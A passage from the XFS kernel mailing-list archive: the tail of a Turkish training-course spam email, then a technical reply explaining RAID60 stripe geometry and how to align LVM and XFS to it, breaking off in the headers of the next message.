underline; COLOR: blue; text-underline: single" href=3D"http://bi= ymed.us4.list-manage.com/track/click=3Fu=3Ded66d4ce18bce10ba80298590&id=3D1= e4e49e484&e=3D38756c26bb"><FONT size=3D2>2014 Egitim Takvimi</FONT></A></SP= AN><FONT size=3D2 face=3DArial><BR>&nbsp;</FONT></B></P></TD></TR> <TR> <TD style=3D"WIDTH: 100%; BACKGROUND: #ecf5ff; PADDING-BOTTOM: 3pt; PADDING= -TOP: 3pt; PADDING-LEFT: 3pt; PADDING-RIGHT: 3pt" vAlign=3Dtop width=3D"100= %"> <TABLE class=3DMsoNormalTable style=3D"BORDER-TOP: #ededed 1pt outset; BORD= ER-RIGHT: #ededed 1pt outset; WIDTH: 100%; BACKGROUND: white; BORDER-BOTTOM= : #ededed 1pt outset; BORDER-LEFT: #ededed 1pt outset" cellSpacing=3D3 cell= Padding=3D0 width=3D"100%" border=3D1> <TR style=3D"HEIGHT: 15.75pt"> <TD style=3D"BORDER-TOP: #ededed 1pt inset; HEIGHT: 15.75pt; BORDER-RIGHT: = #ededed 1pt inset; BACKGROUND: #c1c6da; BORDER-BOTTOM: #ededed 1pt inset; P= ADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; PADDING-LEFT: 0cm; BORDER-LEFT: #eded= ed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial; COLOR: #4e5997">8-9 Subat 2014<= /SPAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">Mali Tablolar Analizi</SPAN></B= ></P></TD></TR> <TR style=3D"HEIGHT: 15.75pt"> <TD style=3D"BORDER-TOP: #ededed 1pt inset; HEIGHT: 15.75pt; BORDER-RIGHT: = #ededed 1pt inset; BACKGROUND: #c1c6da; BORDER-BOTTOM: #ededed 1pt inset; P= ADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; PADDING-LEFT: 0cm; BORDER-LEFT: #eded= ed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial; COLOR: #4e5997">15-16 Subat 201= 4</SPAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">Satin Alma Yonetimi ve Teknikle= ri</SPAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">UFRS Uluslararasi Muhasebe Stan= dartlari</SPAN></B></P></TD></TR> <TR style=3D"HEIGHT: 15.75pt"> <TD style=3D"BORDER-TOP: #ededed 1pt inset; HEIGHT: 15.75pt; BORDER-RIGHT: = #ededed 1pt inset; BACKGROUND: #c1c6da; BORDER-BOTTOM: #ededed 1pt inset; P= ADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; PADDING-LEFT: 0cm; BORDER-LEFT: #eded= ed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial; COLOR: #4e5997">15-16-22-23 Sub= at 2014</SPAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">Satinalma Yonetimi Sertifika Pr= ogrami</SPAN></B></P></TD></TR> <TR style=3D"HEIGHT: 15.75pt"> <TD style=3D"BORDER-TOP: #ededed 1pt inset; HEIGHT: 15.75pt; BORDER-RIGHT: = #ededed 1pt inset; BACKGROUND: #c1c6da; BORDER-BOTTOM: #ededed 1pt inset; P= ADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; PADDING-LEFT: 0cm; BORDER-LEFT: #eded= ed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial; COLOR: #4e5997">19 Subat 2014</= SPAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">Zaman Yonetimi Egitimi</SPAN></= B></P></TD></TR> <TR style=3D"HEIGHT: 15.75pt"> <TD style=3D"BORDER-TOP: #ededed 1pt inset; HEIGHT: 15.75pt; BORDER-RIGHT: = #ededed 1pt inset; BACKGROUND: #c1c6da; BORDER-BOTTOM: #ededed 1pt inset; P= ADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; PADDING-LEFT: 0cm; BORDER-LEFT: #eded= ed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial; COLOR: #4e5997">20-21 Subat 201= 4</SPAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">Lojistik ve Tedarik Zinciri Yon= etimi Egitimi</SPAN></B></P></TD></TR> <TR style=3D"HEIGHT: 15.75pt"> <TD style=3D"BORDER-TOP: #ededed 1pt inset; HEIGHT: 15.75pt; BORDER-RIGHT: = #ededed 1pt inset; BACKGROUND: #c1c6da; BORDER-BOTTOM: #ededed 1pt inset; P= ADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; PADDING-LEFT: 0cm; BORDER-LEFT: #eded= ed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial; COLOR: #4e5997">22-23Subat 2014= </SPAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">Finansci Olmayanlar icin Finans= Yonetimi Egitimi</SPAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">Satis Becerileri Egitimi</SPAN>= </B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">Musteri iliskileri Yonetimi Egi= timi</SPAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">ileri Derece Satinalma Yonetimi= Egitimi</SPAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">ISO9001:2008 KYS ic Denetci Egi= timi</SPAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">Isletme Butceleri ve Butce kont= rol Teknikleri</SPAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">Ofis Yonetimi ve Yonetici Asist= anligi Egitimi</SPAN></B></P></TD></TR> <TR style=3D"HEIGHT: 15.75pt"> <TD style=3D"BORDER-TOP: #ededed 1pt inset; HEIGHT: 15.75pt; BORDER-RIGHT: = #ededed 1pt inset; BACKGROUND: #c1c6da; BORDER-BOTTOM: #ededed 1pt inset; P= ADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; PADDING-LEFT: 0cm; BORDER-LEFT: #eded= ed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial; COLOR: #4e5997">1-2 Mart 2014</= SPAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">Uretim Planlama ve Stok Yonetim= i</SPAN></B></P></TD></TR> <TR style=3D"HEIGHT: 15.75pt"> <TD style=3D"BORDER-TOP: #ededed 1pt inset; HEIGHT: 15.75pt; BORDER-RIGHT: = #ededed 1pt inset; BACKGROUND: #c1c6da; BORDER-BOTTOM: #ededed 1pt inset; P= ADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; PADDING-LEFT: 0cm; BORDER-LEFT: #eded= ed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial; COLOR: #4e5997">22 Mart 2014</S= PAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><STRONG><S= PAN style=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">ileri Satinalma'da Stratej= ik Fiyat ve Tedarikci Yonetimi Egitimi</SPAN></STRONG></P></TD></TR> <TR style=3D"HEIGHT: 15.75pt"> <TD style=3D"BORDER-TOP: #ededed 1pt inset; HEIGHT: 15.75pt; BORDER-RIGHT: = #ededed 1pt inset; BACKGROUND: #c1c6da; BORDER-BOTTOM: #ededed 1pt inset; P= ADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; PADDING-LEFT: 0cm; BORDER-LEFT: #eded= ed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial; COLOR: #4e5997">22-23 Mart 2014= </SPAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><STRONG><S= PAN style=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">Satinalma=92da Ileri Yonet= im Teknikleri Egitimi</SPAN></STRONG></P></TD></TR> <TR style=3D"HEIGHT: 15.75pt"> <TD style=3D"BORDER-TOP: #ededed 1pt inset; HEIGHT: 15.75pt; BORDER-RIGHT: = #ededed 1pt inset; BACKGROUND: #c1c6da; BORDER-BOTTOM: #ededed 1pt inset; P= ADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; PADDING-LEFT: 0cm; BORDER-LEFT: #eded= ed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN s= tyle=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial; COLOR: #4e5997">22 Mart 2014</S= PAN></B></P></TD></TR> <TR> <TD style=3D"BORDER-TOP: #ededed 1pt inset; BORDER-RIGHT: #ededed 1pt inset= ; BORDER-BOTTOM: #ededed 1pt inset; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; = PADDING-LEFT: 0cm; BORDER-LEFT: #ededed 1pt inset; PADDING-RIGHT: 0cm"> <P class=3DMsoNormal style=3D"TEXT-ALIGN: center" align=3Dcenter><STRONG><S= PAN style=3D"FONT-SIZE: 9pt; FONT-FAMILY: Arial">ileri Satinalma'da Sozlesm= e ve Butce Yonetimi ile Uluslararasi ve Endirek Satinalma Egitimi</SPAN></S= TRONG></P></TD></TR></TABLE></TD></TR> <TR> <TD style=3D"WIDTH: 100%; BACKGROUND: #014ea6; PADDING-BOTTOM: 3pt; PADDING= -TOP: 3pt; PADDING-LEFT: 3pt; PADDING-RIGHT: 3pt" vAlign=3Dtop width=3D"100= %"> <P style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN style=3D"FONT-SIZE:= 13.5pt; FONT-FAMILY: Arial">B i y m e d&nbsp; E g i t i m </SPAN><SPAN sty= le=3D"FONT-FAMILY: Arial"><BR>Egitim ve Danismanlik Hizmetleri<BR></SPAN></= B><SPAN style=3D"FONT-FAMILY: Arial"><BR></SPAN><B><SPAN style=3D"FONT-SIZE= : 10pt; FONT-FAMILY: Arial">0 212 230 90 09<BR></SPAN></B><SPAN style=3D"FO= NT-FAMILY: Arial"><BR></SPAN><B><SPAN style=3D"FONT-SIZE: 10pt; FONT-FAMILY= : Arial">e g i t i m @ b i y m e d . c o m</SPAN></B></P> <P style=3D"TEXT-ALIGN: center" align=3Dcenter><FONT face=3DArial></FONT>&n= bsp;</P></TD></TR></TABLE><FONT face=3DArial> <P style=3D"BACKGROUND: white" align=3Dcenter><BR></FONT><STRONG><FONT size= =3D2 face=3DArial>&nbsp;linux-xfs@oss.sgi.com <SPAN style=3D"FONT-SIZE: 12p= t">: </SPAN></FONT><FONT size=3D2 face=3D"Arial, Helvetica, sans-serif"><SP= AN style=3D"FONT-SIZE: 12pt; FONT-FAMILY: 'Times New Roman',serif"><A href= =3D"mailto:biymed@gmail.com=3Fsubject=3Dunsubscribe linux-xfs@oss.sgi.com">= <SPAN style=3D"FONT-FAMILY: Arial; COLOR: #0066cc">Remove Email </SPAN></A>= </SPAN></FONT></STRONG></P></BODY> ------=_NextPart_001_3D80_600B7485.2FF80B65-- From stan@hardwarefreak.com Thu Jan 30 23:58:49 2014 Return-Path: <stan@hardwarefreak.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8C6857F60 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 23:58:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6444B30407A for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 21:58:46 -0800 (PST) X-ASG-Debug-ID: 1391147922-04cb6c6de247670001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id nRxLQOguT42u6K6C for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 21:58:42 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 189FD6C183; Thu, 30 Jan 2014 23:58:42 -0600 (CST) Message-ID: <52EB3B96.7000103@hardwarefreak.com> Date: Thu, 30 Jan 2014 23:58:46 -0600 From: Stan Hoeppner <stan@hardwarefreak.com> Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner <david@fromorbit.com>, "C. Morgan Hamill" <chamill@wesleyan.edu> CC: xfs <xfs@oss.sgi.com> Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <1391005406-sup-1881@al.wesleyan.edu> <52E91923.4070706@sandeen.net> <1391022066-sup-5863@al.wesleyan.edu> <52E99504.4030902@hardwarefreak.com> <1391090527-sup-4664@al.wesleyan.edu> <20140130202819.GO2212@dastard> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <20140130202819.GO2212@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1391147922 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 1/30/2014 2:28 PM, Dave Chinner wrote: > On Thu, Jan 30, 2014 at 09:28:45AM -0500, C. Morgan Hamill wrote: >> First, thanks very much for your help. We're weening ourselves off >> unnecessarily expensive storage and as such I unfortunately haven't had >> as much experience with physical filesystems as I'd like. I am also >> unfamiliar with XFS. I appreciate the help immensely. >> >> Excerpts from Stan Hoeppner's message of 2014-01-29 18:55:48 -0500: >>> This is not correct. You must align to either the outer stripe or the >>> inner stripe when using a nested array. In this case it appears your >>> inner stripe is RAID6 su 128KB * sw 12 = 1536KB. You did not state your >>> outer RAID0 stripe geometry. Which one you align to depends entirely on >>> your workload. >> >> Ahh this makes sense; it had occurred to me that something like this >> might be the case. I'm not exactly sure what you mean by inner and >> outer; I can imagine it going both ways. >> >> Just to clarify, it looks like this: >> >> XFS | XFS | XFS | XFS >> --------------------------------------------------------- >> LVM volume group >> --------------------------------------------------------- >> RAID 0 >> --------------------------------------------------------- >> RAID 6 (14 disks) | RAID 6 (14 disks) | RAID 6 (14 disks) >> --------------------------------------------------------- >> 42 4TB SAS disks RAID60 is a nested RAID level just like RAID10 and RAID50. It is a stripe, or RAID0, across multiple primary array types, RAID6 in this case. The stripe width of each 'inner' RAID6 becomes the stripe unit of the 'outer' RAID0 array: RAID6 geometry 128KB * 12 = 1536KB RAID0 geometry 1536KB * 3 = 4608KB If you are creating your RAID60 array with a proprietary hardware RAID/SAN management utility it may not be clearly showing you the resulting nested geometry I've demonstrated above, which is correct for your RAID60. It is possible with software RAID to continue nesting stripe upon stripe to build infinitely large nested arrays. It is not practical to do so for many reasons, but I'll not express those here as it is out of scope for this discussion. I am simply attempting to explain how nested RAID levels are constructed. > So optimised for sequential IO. The time-honoured method of setting > up XFS for this if the workload is large files is to use a stripe > unit that is equal to the width of the underlying RAID6 volumes with > a stripe width of 3. That way XFS tries to align files to the start > of each RAID6 volume, and allocate in full RAID6 stripe chunks. This > mostly avoids RMW cycles for large files and sequential IO. i.e. su > = 1536k, sw = 3. As Dave demonstrates, your hardware geometry is 1536*3=4608KB. Thus, when you create your logical volumes they each need to start and end on a 4608KB boundary, and be evenly divisible by 4608KB. This will ensure that all of your logical volumes are aligned to the RAID60 geometry. When formatting the LVs with XFS you will use: ~# mkfs.xfs -d su=1536k,sw=3 /dev/[lv_device_path] This aligns XFS to the RAID60 geometry. Geometry alignment must be maintained throughout the entire storage stack. If a single layer is not aligned properly, every layer will be misaligned. When this occurs performance will suffer, and could suffer tremendously. You'll want to add "inode64" to your fstab mount options for these filesystems. This has nothing to do with geometry, but how XFS allocates inodes and how/where files are written to AGs. It is the default in very recent kernels but I don't know in which it was made so. >> ...more or less. >> >> I agree that it's quite weird, but I'll describe the workload and the >> constraints. > > [snip] > > summary: concurrent (initially slow) sequential writes of ~4GB files. > >> Now, here's the constraints, which is why I was planning on setting >> things up as above: >> >> - This is a budget job, so sane things like RAID 10 are our. RAID >> 6 or 60 are (as far as I can tell, correct me if I'm wrong) our only >> real options here, as anything else either sacrifices too much >> storage or is too susceptible failure from UREs. > > RAID6 is fine for this. > >> - I need to expose, in the end, three-ish (two or four would be OK) >> filesystems to the backup software, which should come fairly close >> to minimizing the effects of the archive maintenance jobs (integrity >> checks, mostly). CrashPlan will spawn 2 jobs per store point, so >> a max of 8 at any given time should be a nice balance between >> under-utilizing and saturating the IO. > > So concurrency is up to 8 files being written at a time. That's > pretty much on the money for striped RAID. Much more than this and > you end up with performance being limited by seeking on the slowest > disk in the RAID sets. > >> So I had thought LVM over RAID 60 would make sense because it would give >> me the option of leaving a bit of disk unallocated and being able to >> tweak filesystem sizes a bit as time goes on. > > *nod* > > And it allows you, in future, to add more disks and grow across them > via linear concatentation of more RAID60 luns of the same layout... > >> Now that I think of it though, perhaps something like 2 or 3 RAID6 >> volumes would make more sense, with XFS directly on top of them. In >> that case I have to balance number of volumes against the loss of >> 2 parity disks, however. > > Probably not worth the complexity. You'll lose 2 disks to parity with RAID6 regardless. Three standalone arrays costs you 6 disks, same as making a RAID60 of those 3 arrays. The problem you'll have with XFS directly on RAID6 is the inability to easily expand. The only way to do it is by by adding disks to each RAID6 and having the controller reshape the array. Reshapes with 4TB drives will take more than a day to complete and the array will be very slow during the reshape. Every time you reshape the array your geometry will change. XFS has the ability to align to a new geometry using a mount option, but it's best to avoid this. LVM typically affords you much more flexibility here than your RAID/SAN controller. Just be mindful that when you expand you need to keep your geometry, i.e. stripe width, the same. Let's say some time in the future you want to expand but can only afford, or only need, one 14 disk chassis at the time, not another 3 for another RAID60. Here you could create a single 14 drive RAID6 with stripe geometry 384KB * 12 = 4608KB. You could then carve it up into 1-3 pieces, each aligned to the start/end of a 4608KB stripe and evenly divisible by 4608KB, and add them to one of more of your LVs/XFS filesystems. This maintains the same overall stripe width geometry as the RAID60 to which all of your XFS filesystems are already aligned. The volume manager in your RAID hardware may not, probably won't, allow doing this type of expansion after the fact, meaning after the original RAID60 has been created. If you remember only 3 words of my post, remember: Alignment, alignment, alignment. For a RAID60 setup such as you're describing, you'll want to use LVM, and you must maintain consistent geometry throughout the stack, from array to filesystem. This means every physical volume you create must start and end on a 4608KB stripe boundary. Every volume group you create must do the same. And every logical volume must also start and end on a 4608KB stripe boundary. If you don't verify each layer is aligned all of your XFS filesystems will likely be unaligned. And again, performance will suffer, possibly horribly so. -- Stan From lists@colorremedies.com Fri Jan 31 00:35:14 2014 Return-Path: <lists@colorremedies.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C15A67F63 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 00:35:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id ACD628F8039 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 22:35:11 -0800 (PST) X-ASG-Debug-ID: 1391150109-04cb6c6de3484d0001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id wqnc5LslFqg0A3fj (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 22:35:10 -0800 (PST) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from 70-89-167-59-colorado-co.hfc.comcastbusiness.net ([70.89.167.59]:1715 helo=[10.18.80.7]) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.82) (envelope-from <lists@colorremedies.com>) id 1W97gz-001zAY-41; Thu, 30 Jan 2014 23:35:09 -0700 From: Chris Murphy <lists@colorremedies.com> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Subject: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. Date: Thu, 30 Jan 2014 23:35:08 -0700 X-ASG-Orig-Subj: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. Message-Id: <7A732267-B34F-4286-9B49-3AF8767C0B89@colorremedies.com> Cc: xfs <xfs@oss.sgi.com> To: "stan@hardwarefreak.com Hoeppner" <stan@hardwarefreak.com> Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: 